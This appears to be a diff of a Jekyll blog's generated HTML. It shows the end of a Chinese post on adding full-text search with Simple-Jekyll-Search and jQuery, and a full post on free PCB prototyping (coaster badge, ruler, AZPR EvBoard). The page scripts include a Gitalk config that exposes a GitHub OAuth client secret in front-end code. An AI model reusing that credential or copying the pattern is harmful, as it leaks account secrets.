<a href="#痛苦的写代码时间"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 痛苦的写代码时间
</h1>
<p>我最开始是想用那个最开始看到的那个博客上的代码然后随便改改用,但是那个代码的耦合性太高了,我也不想整些太多余的代码,我是拆了半天没拆出来之后我就放弃了,从网上搜搜看有没有更合适的。 <del>自己写那是不可能的我哪会JS啊😂</del> </p><p>
后来我找到了<a href="https://github.com/christian-fei/Simple-Jekyll-Search">Simple-Jekyll-Search</a>这个项目看起来好像还挺简单的实际试了一下也挺简单的而且还支持全文搜索可惜就是不能高亮被搜索词。按它的说明用确实挺不错不过我的博客结构如果加搜索的话如果单独设置成一个超链接到单独的页面实在是太不明显了后来我想了想干脆还是设置成搜索框吧到时候用URL参数把内容传过去搜索也算是挺方便的。但是有个很严重的问题就是这个库搜索要么就是键盘输入触发要么就是用它带的search方法触发。最开始我还没看见那个search方法想了半天想不出来怎么才能触发搜索后来倒是看见了那个方法不过还是有很大的问题那就是我的代码肯定是在页面加载时运行的但是那个插件搜索前需要把我全文的内容加载进来。这个加载需要时间而且还是异步的这就导致我根本不知道那个方法什么时候可以使用。如果在它加载完成之前调用就搜索不到内容这就很令人伤脑筋……就这个东西让我改代码<a href="https://github.com/Mabbs/mabbs.github.io/commits/master/search.html">改了几十次</a>看文档倒是说它加载完成时可以用success设置一个回调函数然而实际上那是个假的选项我试了一下就算是数据没有载入完它也会执行回调函数这搞得我实在是没办法说实话我JS的水平真的不太行主要是JS的语法真的是很有特色和其他语言都不一样而且作为可以操作HTML的语言还有那个异步都注定它与其他语言是不一样的。总之新手还是别学JS了学PHP都比JS好。</p>
<h1 id="突发奇想的解决">
<a href="#突发奇想的解决"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 突发奇想的解决
</h1>
<p>之后我又看了半天并研究了一下那个插件的源代码不管咋样目前问题看起来就是出在AJAX的异步上了而且最重要的是回调函数是假的那我看算了我不用这个垃圾插件的AJAX了我用jQuery的AJAX它不香吗所以我就用jQuery来加载我博客的全文内容最终可算是解决了问题。</p>
<h1 id="最终的代码">
<a href="#最终的代码"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 最终的代码
</h1>
<p>搜索引擎的代码 <code class="language-plaintext highlighter-rouge">search.html</code> <a href="https://github.com/Mabbs/mabbs.github.io/blob/master/search.html">https://github.com/Mabbs/mabbs.github.io/blob/master/search.html</a> </p><p>
全文索引的代码 <code class="language-plaintext highlighter-rouge">search.json</code> <a href="https://github.com/Mabbs/mabbs.github.io/blob/master/search.json">https://github.com/Mabbs/mabbs.github.io/blob/master/search.json</a></p>
<h1 id="后记">
<a href="#后记"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 后记
</h1>
<p>感觉这个问题真的是在我所有学习的编程语言中解决最曲折的了主要还有一个问题就是网上的教程好多都是完全没用的东西真的中文互联网根本学不成编程全都是垃圾在垃圾堆里找点可能有点用的东西结果还是啥烟雾弹虽然我很看好前端但是JS真的是把我整恶心了。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%90%9C%E7%B4%A2"><em>搜索</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%8D%9A%E5%AE%A2"><em>博客</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%85%A8%E6%96%87"><em>全文</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-07-23-search.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/07/23/search.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/07/13/wifi.html">
上一篇绕过Portal认证的另一个想法
</a>
</span>
<br />
<span class="next">
<a href="/2021/08/06/pcb.html">
下一篇:最近打电路板的体验
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/07/23/search', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/07/23/search.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

333
2021/08/06/pcb.html Normal file
View File

@@ -0,0 +1,333 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>最近打电路板的体验 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="最近打电路板的体验" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="感谢各位可以免费打PCB板的厂家能给我们机会体验自己制作电路板。" />
<meta property="og:description" content="感谢各位可以免费打PCB板的厂家能给我们机会体验自己制作电路板。" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-08-06T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="最近打电路板的体验" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-08-06T00:00:00+08:00","datePublished":"2021-08-06T00:00:00+08:00","description":"感谢各位可以免费打PCB板的厂家能给我们机会体验自己制作电路板。","headline":"最近打电路板的体验","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/08/06/pcb.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/08/06/pcb.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/08/06/pcb.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-08-06T00:00:00+08:00">6 August 2021</time> - 字数统计2528 - 阅读大约需要8分钟 - Hits: <span id="/2021/08/06/pcb.html" class="visitors">Loading...</span></small>
<h1 class="p-name">最近打电路板的体验</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Fri, 06 Aug 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章主要讲述了作者因电路板厂商提供免费打样服务而重新设计并制作电路板的经历。他先是制作了PCB名片然后尝试打制了一个圆形的印有初音未来简笔画的挂牌用作自己的名片兼杯垫。之后得知捷配可以免费打尺寸较小的电路板尤其是对尺寸为0.015㎡的尺子感兴趣尽管开始时因计算错误导致尺子设计出问题但他计划重新设计一个包含LED灯的圣诞树以实践电子设计并低成本DIY装饰品。此外他还分享了AZPR EvBoard的设计因其独特的可爱外观引起了作者的兴趣。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#重新设计的电路板">重新设计的电路板</a></li><li><a href="#自己制作一把pcb尺子">自己制作一把PCB尺子</a></li><li><a href="#试着打些其他有意思的东西">试着打些其他有意思的东西?</a><ul><li><a href="#一个例外azpr-evboard">一个例外AZPR EvBoard</a></li></ul></li><li><a href="#后续的打算">后续的打算</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>感谢各位可以免费打PCB板的厂家能给我们机会体验自己制作电路板。<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>一年前的假期我偶然看见了有人在网上自制PCB名片并且知道了嘉立创5CNY打样的消息于是我就<a href="/2020/07/29/card.html">试着自己制作了PCB名片</a>。我本来以为那可能就是我最后一次玩电路板了可是令人没想到的是这些电路板厂商现在竟然可以免费打样了1-4层FR-4的板子和单层铝基板全部免费而且还是包邮这简直是令人难以置信<a href="https://www.jlc.com/portal/q7i28704.html">嘉立创7月份声明可以免费打样</a>的时候我就连夜开始设计电路板了😂。我本来以为最便宜的私人定制可能最多就是纸模之类的现在看来是我孤陋寡闻了PCB才是最便宜的私人定制。</p>
<h1 id="重新设计的电路板">
<a href="#重新设计的电路板"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 重新设计的电路板
</h1>
<p>当然作为非电子专业的人我自然对打正儿八经的电路板一窍不通但是有了上次的经验至少我可以直接上手去做。这次我不太想打名片了已经打过一次的东西再打一次也没啥意思所以我就重新进行设计打了一个圆形的挂牌上面印了初音未来的简笔画。另外上面也印了我的信息所以这也相当于是我的另一种名片还有就是这个电路板我设计的时候是直径10cm所以当杯垫也挺不错的玻纤板的隔热性能还不错可以避免把桌子烫坏。另外说到杯垫我最近又从华硕天选的小程序上换了礼物这次换了杯垫看起来和我的挂牌尺寸还挺相似的不过正经的杯垫是陶瓷的我这个还是不太正规啊😂。</p>
<h1 id="自己制作一把pcb尺子">
<a href="#自己制作一把pcb尺子"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 自己制作一把PCB尺子
</h1>
<p>除了名片之外我其实更想打的是PCB尺子可惜嘉立创免费打样的尺寸只允许在10x10cm以内10cm的尺子实在是没啥意思。后来我在网上了解到了捷配这也是一家打PCB的厂家他们似乎之前也有免费打电路板不过他们可能是名声不够大之前我还没听说过。不过现在的话他们和嘉立创一样可以每月免费打样2次同样是1-4层FR-4的板子和单层铝基板免费但是很重要的一点是他们可以免费打尺寸≤ 0.015㎡/pcs的电路板这就是说他们限制的是面积而不是长和宽另外这个尺寸的话也比10x10cm大了50立方厘米也是相当的不错另外就是捷配的选项更多一些焊盘支持裸铜还有无铅也是免费的嘉立创的话就不支持这些选项具体要求可以看<a href="https://www.jiepei.com/Activity/newfree.html">这里</a> </p><p>
如果只限面积的话打尺子就会很方便,因为尺子的面积并不大,但是会很长。所以我考虑了一下打算在<a href="https://lceda.cn/">立创EDA</a>上面进行设计然后把Gerber文件给捷配去打。最开始设计的时候我脑子抽了我在填PCB计价信息的时候在想这0.015㎡到底是多大呢想着想着填了个15x2cm然后系统显示总面积是0.0150㎡。emmmm看起来那就按15x2cm设计好了可谁知那个总面积是5张板子总共加起来0.0150㎡而实际我打的面积是0.003㎡这我数学不行啊脑子算不来😂……结果这我到下单之后才突然意识到板子都开始生产了……那没办法看来这尺子算是做废了于是我就重新计算了一下想了想干脆就30x5cm好了30cm的尺子也算是很长了这次我仔细的验算了一下单片面积是0.015㎡没错,于是我就开始重新设计了。 </p><p>
在设计尺子的过程中图案当然是可以直接导入但是如果尺子上全是图案也没啥意思不过有些人会在网上分享自己设计的PCB图纸具体的话可以去<a href="https://oshwhub.com/">OSHWHub</a>里面找有些有意思的设计就可以直接复制过来用比如说量角器之类的。因为自己划线的话计算起来很麻烦要把极坐标转换成直角坐标我计算能力本来就很差算这种东西实在是费脑子所以我就还是去网上直接找现成的不过我在网上找到的图纸都没有1°量程的基本上都是10°量程的还是挺伤脑筋的不过没办法有的用就不错了。最后设计好之后我也把图纸<a href="https://oshwhub.com/mayx/rule">分享到了OSHWHub</a>上面,如果有兴趣的话大家也可以去看看,另外因为我想做的是铝基板的尺子,所以是单面板的。</p>
<h1 id="试着打些其他有意思的东西">
<a href="#试着打些其他有意思的东西"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 试着打些其他有意思的东西?
</h1>
<p>在OSHWHub上面还是有很多有意思的项目大伙为了白嫖些有用的东西也是都费了些脑筋的。除了尺子之外我看还有<a href="https://oshwhub.com/IMBAKZ/zhuo-dian-pin-tu">桌垫拼图</a>挺有意思的一张板是10x10cm那么4张板拼起来就有20x20cm了那么我下两单就能得到20x40cm大小的桌垫了还是挺有意思的另外从这里我也发现嘉立创的优势那就是可以打绿色的铝基板嘉立创的阻焊颜色要比捷配的丰富。不过很遗憾的是我不会焊东西所以正经的电路板如果打出来也没办法用而且看起来也没办法当装饰品所以目前我不会去打那些对我来说没用的电路板尽管功能看起来很有意思。</p>
<h2 id="一个例外azpr-evboard">
<a href="#一个例外azpr-evboard"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 一个例外AZPR EvBoard
</h2>
<p>AZPR EvBoard(AZ Processor Evaluative Board)是一本叫做《CPU自制入门》的书用来教学用的板子。它的特点就是很可爱和一般的电路板不一样它的背面被设计成一个女孩的模样。而且和一般的插图不一样它的孔位和布线都看起来和板子上设计的女孩没有冲突的地方。最早我见到这个图案的时候是看见同学买了《CPU自制入门》这本书它的中文版封面就是这个女孩我看见之后就心想总有一天我要把这个电路图找出来。不过目前我还没有看那本书我现在已经找到了这个板子的图纸并且已经发给厂家生产了等过段时间等板子到了开学之后我就去找同学借一下这本书来看看。虽然以前上计算机组成原理的时候大概有学CPU的组成不过我也没有亲手设计过正好这次学学看感受一下设计CPU的乐趣。 </p><p>
另外如果各位想打这个板子的话,作者在<a href="https://www.seeedstudio.com/AZPR-EvBoard-PCB-gir-g-1316219">Seeed上面共享</a>了这个板子的<a href="https://statics3.seeedstudio.com/seeed/file/2021-01/23400221112--AZPR_fusion_210113A.zip">Gerber文件</a>如果有兴趣的话也可以自己打这个板子的版本是v1.2的和书上的电路基本上是一样的。不过缺陷就是电源板需要另外打。正式卖的板子是v2.0的目前我在全网上没有找到v2.0的图纸或者购买链接。另外淘宝上倒是能找到有卖v1.2板子的商家不过完全不推荐购买去嘉立创或者捷配免费打5张的板子能拿来卖15块钱也是够可以的。但是有个好处就是他们的板子是有组好元器件的虽然很贵688CNY比正版贵了大概100CNY左右可惜正版的买不到不过如果真的想试试书上的实验买一个倒是也没问题。</p>
<h1 id="后续的打算">
<a href="#后续的打算"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 后续的打算
</h1>
<p>回头我打算再设计一个圣诞树一共应该是分为3部分横向、纵向树的外形和圆形底座然后在上面整些LED灯泡顺便试试看学一下电烙铁的用法最后用超低的成本DIY一个圣诞树出来(*^_^*)。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=PCB"><em>PCB</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E7%94%B5%E8%B7%AF%E6%9D%BF"><em>电路板</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%B0%BA%E5%AD%90"><em>尺子</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-08-06-pcb.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/08/06/pcb.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/07/23/search.html">
上一篇:如何给博客加上全文搜索功能
</a>
</span>
<br />
<span class="next">
<a href="/2021/08/15/blog.html">
下一篇:如何选择合适的博客平台
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/08/06/pcb', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
